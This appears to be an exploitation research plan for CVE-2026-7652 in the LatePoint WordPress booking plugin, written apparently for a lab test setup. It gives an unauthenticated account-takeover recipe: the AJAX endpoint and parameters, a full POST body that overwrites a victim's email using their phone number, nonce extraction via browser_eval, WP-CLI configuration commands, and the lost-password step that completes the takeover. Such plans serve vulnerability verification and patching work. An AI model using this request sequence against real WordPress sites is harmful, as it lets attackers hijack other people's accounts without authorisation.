Exploitation Research Plan - CVE-2026-7652

1. Vulnerability Summary

The LatePoint plugin (<= 5.5.0) is vulnerable to an unauthenticated account takeover due to a flaw in how it handles customer information during the guest booking flow. When "WordPress User Integration" and "Phone-based Merging" are enabled, the plugin allows unauthenticated users to overwrite the email address of a linked WordPress user account.

The vulnerability exists in the logic that merges guest customer data with existing records. If an attacker provides a phone number belonging to an existing user but specifies a new, attacker-controlled email address, the plugin updates the associated WordPress user's email via wp_update_user() in the save_connected_wordpress_user() function. This occurs without verifying ownership of the phone number or the WordPress account, allowing an attacker to then use the standard WordPress "Lost Password" flow to take over the account.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: latepoint_route_call (unauthenticated)
• Route: steps__process_step
• Parameters:
  • step_name: customer
  • customer[phone]: Victim's phone number (used for merging)
  • customer[email]: Attacker's email address (the new value)
  • customer[first_name]/customer[last_name]: Required fields
• Authentication: None required (Guest booking flow)
• Preconditions:
  1. WordPress User Integration enabled (latepoint_settings['enable_wordpress_user_integration'] == 'on').
  2. Customer Merging set to phone (or phone-based merging enabled).
  3. Customer Authentication disabled (allowing guests to book).

3. Code Flow

1. An unauthenticated request is sent to the latepoint_route_call AJAX action with the route steps__process_step and step_name=customer.
2. The OsStepsController (inferred) processes the step.
3. The plugin identifies that a customer with the provided phone already exists or matches a WordPress user.
4. Because merging is enabled, the plugin updates the existing OsCustomerModel with the new email provided in the request.
5. After saving the customer record, the plugin calls save_connected_wordpress_user() (inferred to be in OsAuthHelper or OsCustomerHelper).
6. save_connected_wordpress_user() retrieves the wordpress_user_id from the customer record and calls wp_update_user([ 'ID' => $wp_user_id, 'user_email' => $new_email ]).
7. The WordPress user's email is successfully changed to the attacker's email.

4. Nonce Acquisition Strategy

LatePoint typically uses a centralized nonce for AJAX requests available in the latepoint_helper JavaScript object.

1. Identify Script Loading: The booking scripts load on pages containing the LatePoint booking shortcodes.
2. Setup: Create a temporary page with the booking form.

   wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[latepoint_book_button]'
   

3. Extraction:
   • Navigate to the newly created page.
   • Use browser_eval to extract the nonce:
     browser_eval("window.latepoint_helper?.nonce")
4. Bypass Check: If the customer step does not enforce a nonce (common in guest flows to prevent caching issues), this step may be skipped.

5. Exploitation Strategy

1. Initialize Session: Perform a request to get an order_intent_key (LatePoint's session identifier).
   • Request to steps__get_step for the booking step.
2. Identify Victim: Find a WordPress user (non-admin) and their associated phone number.
3. Execute Takeover:
   • Send a POST request to admin-ajax.php.
   • URL: http://vulnerable-site.com/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=latepoint_route_call
     &route_name=steps__process_step
     &params[step_name]=customer
     &params[customer][first_name]=Attacker
     &params[customer][last_name]=User
     &params[customer][phone]=VICTIM_PHONE_NUMBER
     &params[customer][email]=attacker-controlled@example.com
     &latepoint_nonce=EXTRACTED_NONCE
     

4. Trigger Reset: Navigate to wp-login.php?action=lostpassword and enter the victim's username. The reset link will be sent to attacker-controlled@example.com.

6. Test Data Setup

1. Create Victim:

   wp user create victim victim@example.com --role=subscriber --user_pass=password123
   # LatePoint stores phone in user meta or customer table. 
   # Ensure the phone is linked to the LatePoint customer record for this user.
   

2. Configure LatePoint:

   # Enable WP User Integration and Phone Merging
   wp option patch insert latepoint_settings enable_wordpress_user_integration 'on'
   wp option patch insert latepoint_settings customer_merging_field 'phone'
   wp option patch insert latepoint_settings customer_authentication_for_bookings 'off'
   

3. Create Booking Page:

   wp post create --post_type=page --post_status=publish --post_content='[latepoint_booking_form]'
   

7. Expected Results

• The AJAX response should return status: "success".
• The WordPress database should now show the victim's user record updated with the attacker's email address.

8. Verification Steps

Verify the email change via WP-CLI:

wp user get victim --fields=user_email
# Expected output: attacker-controlled@example.com

9. Alternative Approaches

If the steps__process_step route requires an active order_intent, first send a request to:

• Route: steps__start_booking or steps__get_step with step_name=booking.
• Extract the order_intent_key from the response JSON and include it as params[order_intent_key] in the exploit payload.